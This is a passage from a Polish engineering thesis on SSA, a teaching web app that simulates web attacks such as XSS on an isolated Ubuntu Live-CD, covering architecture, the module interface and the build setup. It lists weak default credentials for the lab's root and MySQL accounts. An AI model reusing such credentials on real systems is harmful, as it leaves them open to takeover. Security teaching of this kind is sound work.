fakt, że nie zawsze można automatycznie sprawdzić zakończenie ćwiczenia.

4.3 Decyzje projektowe

Każdy produkt projektu informatycznego jest wypadkową pewnych decyzji projektowych,

często podjętych podczas implementacji systemu. Na takie decyzje ma wpływ wiele

czynników takich jak używana technologia, czas (koszt) oraz umiejętności załogi.

Decyzje podejmowane są na każdym kroku, począwszy od systemu operacyjnego po język

programowania i użyte oprogramowanie. Poniżej przedstawione są najbardziej znaczące z

nich dotyczące architektury.

4.3.1 Architektura systemu

Podczas analizy wymagań zostały podjęte następujące decyzje architektoniczne:

Identyfikator AR-0 Dotyczy

wymagania

WN-0, WN-1, WN-4

Nazwa System Operacyjny

Decyzja

Systemem operacyjnym zostanie dystrybucja Ubuntu 10.04 LTS dla procesorów

32bitowych. Po jego skonfigurowaniu, zostanie on przerobiony na wersję Live-CD.

Uzasadnienie

System operacyjny jest dobrze znany dużej rzeszy użytkowników, przez co zarówno osoba

rozwijająca projekt, jak i przyszli użytkownicy mogą liczyć na wsparcie techniczne. Jest to

także ostatnia wersja tego systemu, która jest dostatecznie lekka, aby móc ją uruchomić na

starych komputerach bez kłopotu. Dodatkowo, system Ubuntu posiada bardzo rozbudowane

repozytorium i umożliwia łatwą instalację nowego oprogramowania.

55


wymagania

WF-0, WN-4

Nazwa Technologia aplikacji

Decyzja

Aplikacja umożliwiająca symulację ataków zostanie napisana w języku PHP. W tym celu

zostanie udostępniony serwis WWW za pomocą serwera Apache. Jako serwer bazodanowy

będzie służyła instancja MySQL.

Uzasadnienie

Wszystkie wymienione technologie są bardzo przystępne, w Internecie można liczyć na

wsparcie społeczności użytkowników oraz można z nich korzystać nie ponosząc żadnych

kosztów.


wymagania

WN-1

Nazwa Uruchamianie aplikacji

Decyzja

Po wystartowaniu systemu operacyjnego i zalogowaniu się użytkownika włączy się

środowisko graficzne i zostanie uruchomiona przeglądarka internetowa ze stroną aplikacji,

gdzie użytkownik znajdzie dalsze instrukcje dotyczące działania i korzystania z systemu.

Uzasadnienie

Wszystkie niezbędne informacje można umieścić na lokalnej stronie internetowej, dlatego

jest ona najlepszym miejscem na rozpoczęcie korzystania z aplikacji. Strona uruchomi się

automatycznie i od razu będzie można podchodzić do ćwiczeń, które będą przechowywane w

tym samym formacie.


wymagania

WN-2

Nazwa Konstrukcja aplikacji

Decyzja

Aplikacja zostanie zaprojektowana pod kątem mocnej modularności, tak, aby w razie

potrzeby użytkownik mógł dodać nowe ćwiczenia.

Uzasadnienie

Realizacja wymagań dotyczących możliwości rozszerzania aplikacji o nowe ćwiczenia.

Tylko modularna budowa zapewni komfort przy dodawaniu nowych ćwiczeń.


wymagania

WN-4

Nazwa Polityka bazodanowa

Decyzja

Do każdego ćwiczenia, które będzie wymagało połączenia z bazą danych, zostanie

przydzielony oddzielny schemat bazodanowy, tak aby w danym ćwiczeniu nie dało się

odczuć skutków działania poprzedniego ćwiczenia.

Uzasadnienie

Wykonywanie ćwiczeń podczas jednej sesji nie powinno wpływać na kolejne ćwiczenia,

dlatego powinny one korzystać z oddzielnych schematów.

56

4.4 Implementacja

4.4.1 System Symulacji Ataków

SSA – System Symulacji Ataków jest to aplikacja internetowa pozwalająca na poznanie zasad

działania ataków internetowych. W ramach projektu inżynierskiego powstał SSA oraz 12

różnych modułów do niego przedstawiających dwanaście najpopularniejszych ataków na

aplikacje internetowe.

Aplikacja, dzięki łatwości dodawania nowych modułów, pozwala na łatwą rozbudowę. Każdy

moduł może mieć zdefiniowanych kilka zachowań, które zostały opisane w sekcji Interfejs

ExerciseInterface. Rozbudowa aplikacji o nowe moduły polega na skopiowaniu pliku z klasą

implementująca interfejs ExerciseInterface do drzewa katalogów z ćwiczeniami. Dla lepszej

czytelności każde ćwiczenie mieści się w osobnym folderze, w którym można także

umieszczać materiały dodatkowe (np. takie zawierające duże ilości tekstu).

Wybór narzędzi

System Symulacji Ataków został napisany w języku PHP, który pozwala realizować w pełni

paradygmat programowania obiektowego implementując abstrakcyjne struktury danych.

Język PHP jest też bardzo prosty i popularny, dlatego późniejsza analiza kodu, w celu

poznania systemu, bądź rozbudowania go nie powinna być dużym wyzwaniem. Ponadto PHP

zapewnia komfortową obsługę bardzo wielu różnych baz danych, przez co ewentualna zmiana

silnika bazy danych jest łatwa w realizacji. Dodatkowo PHP obsługuje mechanizmy refleksji,

co jest bardzo przydatne w realizacji modularności aplikacji.

Jak w wielu projektach informatycznych, warto jest oddzielić logikę aplikacji od warstwę

widoku, która będzie odpowiadała za wyświetlanie poprawnie sformatowanej strony w

każdym kontekście. W tym celu użyto silnika szablonów do PHP o nazwie Smarty (do

pobrania pod adresem http://www.smarty.net). Jest to bardzo elastyczne i wydajne

rozwiązanie pozwalające na przeniesienie pewnej części logiki wyświetlania do szablonu, co

pozytywnie odbija się na czytelności kodu źródłowego.

57

Diagram klas SSA

Poniżej został przedstawiony diagram podstawowych klas dla Systemu Symulacji Ataków.

Rysunek 6. Diagram klas Systemu Symulacji Ataków

Klasa SSA posiada trzy publiczne metody, które są wywoływane w głównym pliku programu:

1. setup() – metoda służąca do zbudowania bazy ćwiczeń oraz generacji stałej części

strony WWW – czyli menu.

2. handleRequest() – metoda służąca do obsługi żądania, analizuje ona treść oraz

kontekst żądania. W tym miejscu uzupełniany danymi jest system szablonów Smarty.

3. displayPage() – metoda opakowująca żądanie wyświetlenia strony w systemie

szablonów Smarty.

Podczas inicjalizacji obiekt klasy SSA tworzy instancję klasy ExerciseSearcher, która

przeszukuje zadany katalog (w domyślnej konfiguracji jest to „exercises”) pod kątem plików

z klasami implementującymi interfejs ExerciseInterface. Następnie tworzona jest instancja

klasy pomocniczej ExerciseMenu, która zajmuje się odpowiednim posortowaniem ćwiczeń i

przygotowaniem ich listy do wyświetlenia w interfejsie użytkownika.

58

Realizacja rozszerzalności

Główny katalog aplikacji zawiera folder o nazwie exercises, są w nim przechowywane

katalogi ćwiczeń. Każdy katalog ćwiczenia może mieć dowolną nazwę, jednak wskazane jest,

aby nawiązywała ona do jego treści. Do prawidłowego działania, taki katalog powinien

zawierać plik o nazwie __ssa__.php, w którym istnieje definicja klasy implementującej

interfejs ćwiczenia - ExerciseInterface.

Poniżej znajduje się diagram klas dla dodanych ćwiczeń:

Rysunek 7. Ćwiczenia - Diagram klas

Realizacja modularności odbywa się poprzez przeglądanie katalogów położonych w folderze

exercises w poszukiwaniu pliku __ssa__.php. Jeśli plik zostanie znaleziony to stosując

mechanizmy refleksji sprawdzane jest, czy w pliku znajduje się klasa, która implementuje

interfejs ćwiczenia (ExerciseInterface). Po odnalezieniu klasy implementującej stosowny

interfejs jest ona zapisywana w programie i później wykorzystywana do wielu czynności

takich jak obsługa kolejnych żądań, definicji warunków końcowych czy też pobranie nazwy

ćwiczenia.

Możliwość łatwej instalacji nowych ćwiczeń jest realizacją wymagania rozbudowywalności

(WN-2). Proces rozszerzania bazy ćwiczeń, oprócz wdrożenia klasy implementującej interfejs

59

ExerciseInterface, sprowadza się tylko do skopiowania uprzednio przygotowanego drzewa

katalogów do folderu exercises.

Interfejs ExerciseInterface

Interfejs ExerciseInterface jest podstawą do rozbudowywania aplikacji o kolejne moduły,

składa się na niego dziesięć metod, które muszą zostać zaimplementowane w nowym module.

Poniżej znajduje się krótki opis wszystkich z nich.

Tabela 7. Opis metod wymaganych przez interfejs ExerciseInterface

Nazwa metody Typ zwracanej

wartości

Przeznaczenie

getShortName() Ciąg znaków Nazwa ćwiczenia wyświetlana w menu.

getLongName() Ciąg znaków Nazwa ćwiczenia używana na stronie z

ćwiczeniem.

getDescription() Ciąg znaków Opis ćwiczenia (statyczna część ćwiczenia).

getRefecrenceSolution() Ciąg znaków Rozwiązanie wzorcowe ćwiczenia.

getOrderingNumber() Liczba Numer określający kolejność w menu (czym

mniejsza liczba tym pozycja jest wyżej).

isFinished() Wartość

logiczna

Czy ćwiczenie zostało zakończone?

startSession() Ciąg znaków Metoda wywoływana raz, przy pierwszym

żądaniu strony dla ćwiczenia (może

inicjalizować pewne ustawienia). Może

zwrócić ciąg znaków, który zostanie

dołączony do strony.

startRequest() Ciąg znaków Metoda wywoływana za każdym razem, gdy

użytkownik przeładuje stronę. Powinna

zwracać ciąg znaków, który zostanie

dołączony do strony (dynamiczna część

ćwiczenia).

reset() Brak Przywrócenie ćwiczenia do stanu pierwotnego.

setViewController($obj) Brak Metoda służąca do ustawiania referencji do

obiektu kontrolera warstwy widoku (w

przypadku tej implementacji jest to Smarty).

Obiekt taki jest przydatny, jeśli w ćwiczeniu

potrzebny jest dostęp do zmiennych

zapisanych w szablonie.

60

Dodawanie kolejnych ćwiczeń

Dodawanie kolejnych ćwiczeń powinno odbywać się według następującego algorytmu:

1. Utwórz nowy katalog w folderze „exercises” znajdującym się w katalogu głównym

SSA.

2. W nowoutworzonym katalogu utwórz plik o nazwie „__ssa__.php”.

3. W pliku „__ssa__.php” umieść klasę implementującą interfejs ExerciseInterface.

4. Wejdź na stronę SSA i sprawdź działanie modułu.

Uwagi:

Należy uważać, aby nie powtórzyć nazwy klasy już istniejącej. Wszystkie dostarczone

klasy mają przyrostek „Exercise”, dlatego aby upewnić się, że nie nastąpi powtórzenie

– można go nie używać, bądź użyć innego.

Wyniki działania metod „getDescription()” oraz „getReferenceSolution()” warto

umieścić w oddzielnych plikach HTML – ich zawartość jest zwykle stała.

Wszelkie obrazy, filmy oraz dźwięki używane w stronach rozwiązań wzorcowych

powinny zostać umieszczone w katalogu o nazwie ćwiczenia w folderze

„media/solutions/” znajdującym się w głównym katalogu programu. Odwołanie do

danego medium następuje przy użyciu ścieżki „media/solutions/[nazwa ćwiczenia]” w

dowolnym pliku.

Działanie interfejsu ExerciseInterface w kontekście systemu SSA

Diagram zamieszczony na kolejnej stronie obrazuje działanie interfejsu ExerciseInterface

(reprezentującego moduł dowolnego ćwiczenia) w kontekście systemu SSA. Po wybraniu

przez Użytkownika danego ćwiczenia, na podstawie zawartości żądania (parametry GET),

system w pierwszej kolejności określa czy żądanie dotyczy restartu ćwiczenia bądź też chęci

zobaczenia rozwiązania wzorcowego. Jeśli żądanie nie dotyczy żadnej z wymienionych opcji,

to proces przetwarzania przechodzi do normalRequest.

Jeśli użytkownik chciał ponownie uruchomić ćwiczenie (restartRequest) to na module

wybranego ćwiczenia wywoływana jest metoda reset, po czym następuje przekierowanie

przeglądarki użytkownika na stronę ćwiczenia, dlatego cały proces rozpoczyna się od nowa.

Na podstawie ciasteczka (ang. cookies) system wie, czy dane żądanie jest pierwszym dla

danego ćwiczenia, czy też nie i odpowiednio uruchamia metodę startSession() interfejsu

ExerciseInterface. Wartości zwracane z metod startSession() oraz startRequest() są dołączane

do zawartości strony co daje lepsze możliwości separacji aktywnego kodu od części opisowej

ćwiczenia.

61

Rysunek 8. Diagram sekwencji działań na interfejsie ExerciseInterface podczas obsługi żądania

62

4.4.2 System operacyjny typu „Live-CD”

Celem powstania systemu operacyjnego była izolacja środowiska testowego od innych

komputerów, a co za tym idzie – od Internetu. Poza tym system stanowi doskonałe

środowisko uruchomieniowe dla aplikacji SSA. System operacyjny opiera się na dystrybucji

Ubuntu 10.04 LTS dla procesorów 32 bitowych. Zostało do niego dołączone dodatkowe

oprogramowanie pełniące rolę serwera WWW obsługującego język skryptowy PHP w

wersji 5. Do utrzymywania bazy danych zostało zainstalowane środowisko MySQL w wersji

14.14.

Ponadto do systemu zostały dołączone trzy opisywane narzędzia, pozwalające użytkownikowi

na automatyzację testów strony. Użytkownik może przekonać się, że „ręczne” sprawdzanie

podatności aplikacji internetowych niesie ze sobą większą precyzję oraz większą ilość

wykrytych luk, jednak czas poświęcony na uruchomienie narzędzia jest wielokrotnie mniejszy

niż włożony w manualny test aplikacji.

Po uruchomieniu systemu operacyjnego, użytkownikowi otwiera się przeglądarka internetowa

z Systemem Symulacji Ataków. Po rozwiązaniu wszystkich ćwiczeń, użytkownik może

poddać SSA testom automatycznym w celu konfrontacji wyników z nabytym

doświadczeniem.

System operacyjny

System operacyjny powstał na bazie istniejącej już instalacji spolszczonego systemu Ubuntu

10.04 LTS. Obraz płyty został utworzony za pomocą programu Remastersys (dostępny do

pobrania pod adresem http://www.remastersys.com/), program umożliwia automatyzację

żmudnego procesu budowania dystrybucji Live-CD.

Do prawidłowego działania systemu należy zainstalować pakiety odpowiedzialne za

utrzymanie serwera WWW, obsługę skryptów PHP oraz silnik bazy danych MySQL, dlatego

zostały zainstalowane pakiety:

apache2

php5

mysql mysql-server

libapache2-mod-auth-mysql

php5

mysql

phpmyadmin

63

Dodatkowo do dystrybucji zostały dołączone programy służące automatyzacji testów

penetracyjnych aplikacji internetowych omawiane w niniejszej pracy, dlatego system zawiera

także pakiet nikto. Z powodu braku odpowiednich pakietów w repozytoriach systemu

operacyjnego aplikacje fimap oraz sqlix zostały zainstalowane ręcznie poprzez umieszczenie

ich źródeł w katalogu /opt/.

Podczas instalacji systemu i silnika baz danych należało zdefiniować hasła administratora

oraz użytkowników, w poniższej tabeli znajduje się ich zestawienie.

Tabela 8. Dane logowania niezbędne przy próbie modyfikacji systemu

Przeznaczenie Dane

Konto „root” systemu operacyjnego Nazwa użytkownika:

Hasło:

root

elka

Konto „elka” systemu operacyjnego Nazwa użytkownika:

Hasło:

elka

elka

Konto administratora MySQL Nazwa użytkownika:

Hasło:

root

elka

Bazy danych

Po umieszczeniu aplikacji Systemu Symulacji Ataków należało jeszcze przeprowadzić

konfigurację bazy danych. Wymaganie niefunkcjonalne WN-4 oraz jego konsekwencja, czyli

decyzja architektoniczna AR-4 zobowiązuje do odseparowania od siebie baz danych z których

będą korzystać moduły ćwiczeń. W tym celu dla każdego ćwiczenia, które wymaga

połączenia z bazą danych została utworzona oddzielna baza danych o nazwie odpowiadającej

nazwie klasy w jakiej dane ćwiczenie zostało zaimplementowane – czyli dla ćwiczenia, które

zostało zaimplementowane w klasie o nazwie StoredXSSExercise została utworzona baza:

mysql> CREATE DATABASE StoredXSSExercise;

Dla każdej tak utworzonej bazy danych powstało także konto jej użytkownika o nazwie

będącej nazwą klasy, przy czym sufiks Exercise został zamieniony na User i Password

odpowiednio dla nazwy konta i hasła do niego:

mysql> GRANT ALL ON StoredXSSExercise.* TO StoredXSSUser@localhost

IDENTIFIED BY ‘StoredXSSPassword’

64

Aplikacja Remastersys

Instalacja aplikacji Remastersys w systemie Ubuntu opiera się na dodaniu odpowiedniego

repozytorium do systemowej listy. Dla potwierdzenia oryginalności pobieranych danych

należy dodać do archiwum kluczy odpowiednią pozycję – w tym celu należy pobrać klucz

GPG udostępniony przez autora aplikacji:

wget -O - http://www.remastersys.com/ubuntu/remastersys.gpg.key

apt-key add remastersys.gpg.key

Następnie należy dodać do list repozytoriów pozycję odpowiadającą za pakiet, który zawiera

aplikację Remastersys:

echo “deb http://www.remastersys.com/ubuntu lucid main” >> /etc/apt/sources.list

Po dodaniu odpowiedniego repozytorium można odświeżyć listę pakietów i przejść do

instalacji programu:

sudo apt-get update && sudo apt-get install remastersys remastersys-gui

Pakiet remastersys-gui odpowiada za przyjazne środowisko graficzne, które umożliwia pełną

konfigurację programu oraz możliwość dostosowania większej ilości parametrów niż

aplikacja konsolowa.

Optymalizacja wielkości dystrybucji

Przed utworzeniem dystrybucji Live-CD należało usunąć zbędne pakiety oraz tak, aby

docelowy obraz płyty zmieścił się na nośniku CD o pojemności 700MB. W pierwszej

kolejności usunięte zostały programy świadczące funkcje multimedialne takie jak Totem czy

też Rythmbox oraz dołączony program do edycji grafiki GIMP. W celu dalszego oszczędzania

miejsca usunięty został także pakiet biurowy OpenOffice. Wszystkie te aplikacje zostawiły

dużo osieroconych (ang. orphan) bibliotek, dlatego warto je też usunąć – w tym celu został

wykorzystany program orphaner dostępny w repozytorium Ubuntu. Aplikacja wyszukuje

wszystkie osierocone pakiety i pozwala je w wygodny sposób usunąć. Instalacja programu

odbywa się w standardowy sposób:

sudo apt-get install orphaner

Zbudowana w ten sposób dystrybucja Ubuntu, wraz ze wszystkimi niezbędnymi aplikacjami

zajmuje mniej więcej 690MB.

65

5 Podsumowanie

Niniejsza praca miała na celu stworzenie dydaktycznego systemu, który pozwoli

użytkownikom poznać temat testowania aplikacji internetowych pod względem ich

bezpieczeństwa. Cel ten został w pewnej części spełniony, jednak końcowa decyzja należy do

użytkowników aplikacji. Próbna grupa studentów - która wyraziła chęć przetestowania

oprogramowania - odebrała przygotowany system bardzo dobrze, jednak dostrzegła kilka

mankamentów niewidocznych dla autora podczas procesu projektowania i tworzenia

aplikacji.

Ćwiczenia powinny opierać się na przygotowanym uprzednio scenariuszu, który powinien

być bardziej rozbudowany. W przypadku zaprojektowanej aplikacji scenariusz jest nie tylko

liniowy, ale też krótki, co z jednej strony pozwala lepiej skupić się na wykorzystaniu

konkretnej podatności, ale z drugiej - może sprawiać wrażenie monotoniczności.

Kolejna wada aplikacji wynika z jej architektury - jednym z założonych wymagań była

imitacja środowiska rzeczywistego. Po analizie tego wymagania podjęta została decyzja, iż

powinna to być aplikacja internetowa, jednak większość ataków jakie są opisywane w

niniejszej pracy ma swoje działanie dopiero po stronie użytkownika. Oznacza to, że skutki

omawianych ataków (przykładem jest ćwiczenie dotyczące Składowanego XSS) są

nierozróżnialne dla aplikacji internetowej od zamierzonych działań jej użytkownika, co z

kolei skutkuje tym, iż nie można dla danego ćwiczenia zdefiniować warunków końcowych.

Aplikacja umożliwiająca doświadczanie takich ataków najprawdopodobniej nie powinna być

aplikacją internetową, bądź też powinna być odporna na dany typ ataku – tak, żeby dane

wejściowe mogły być odpowiednio interpretowane i na ich podstawie mógł być wyświetlany

wynik. Niestety taka konstrukcja nazbyt przypomina programy typu Honeypot, co nie zgadza

się z przyjętym założeniem.

Część przygotowanych ćwiczeń, takich jak „Odbite XSS” polega na odpowiednim

spreparowaniu żądania w taki sposób, aby w odpowiedzi serwera znajdował się złośliwy kod.

Wszystkie implementacje ataku dla tego ćwiczenia, jakie napłynęły od grupy badanych osób,

rzeczywiście generowały złośliwy kod, który uruchamiał się zaraz po załadowaniu strony

przez przeglądarkę, jednak skutek jego działania był widoczny dopiero po kolejnym

przeładowaniu strony. Przyczyną takiego zachowania jest fakt, iż złośliwy kod, który

wywoływał pewną akcję na serwerze, został uruchomiony przez przeglądarkę dopiero po

uzyskaniu odpowiedzi z tym właśnie kodem. Zachowanie to można naprawić stosując

66

technologię AJAX (ang. Asynchronous JavaScript and XML), która umożliwia praktycznie

transparentną komunikację z serwerem w sposób asynchroniczny i nie wymaga odświeżania

całego dokumentu.

Reasumując, podstawową zasadą testowania jest udana separacja roli programisty i testera -

nigdy nie powinna być to ta sama osoba. Stosując wspomnianą zasadę na pewno uniknięto by

choć części błędów, które pojawiły się już po dostarczeniu aplikacji. Mimo wszystko

aplikacja, w pewnej części, spełnia swoją dydaktyczną funkcję, o czym świadczą pozytywne

opinie i zainteresowanie wykazane przez studentów.

67

6 Bibliografia

[1] Sandvine, „Wniosku z badania ruchu internetowego w Europie” 13 Luty 2013.

[Internet]. Dostępne pod:

http://www.sandvine.com/general/document.download.asp?docID=51.

[2] Kodeks Karny.

[3] „Archiwalny opis podatności serwisu aukcyjnego eBay na atak typu CSRF” 23

Luty 2013. [Internet]. Dostępne pod: http://archive.cert.uni-

stuttgart.de/bugtraq/2005/04/msg00279.html.

[4] „Porównanie maksymalnych długości adresów URL w ujęciu różnych

przeglądarek i serwerów” 23 Luty 2013. [Internet]. Dostępne pod:

http://www.boutell.com/newfaq/misc/urllength.html.

[5] „Techniczny opis robaka "Samy worm",” 24 Luty 2013. [Internet]. Dostępne pod:

http://namb.la/popular/tech.html.

[6] B. Hope i B. Walther, Web Security Testing Cookbook, USA: O’Reilly, 2008.

[7] D. Stuttard i M. Pinto, The Web Application Hacker's Handbook: Finding and

Exploiting Security Flaws, USA: Wiley, 2011.

[8] M. Zalewski, he Tangled Web: A Guide to Securing Modern Web Applications,

USA: No Starch Press, 2011.

PRACA DYPLOMOWA INŻYNIERSKA...Kierunek: Informatyka Specjalność: Inżynieria Systemów...

Documents

Transcript of PRACA DYPLOMOWA INŻYNIERSKA...Kierunek: Informatyka Specjalność: Inżynieria Systemów...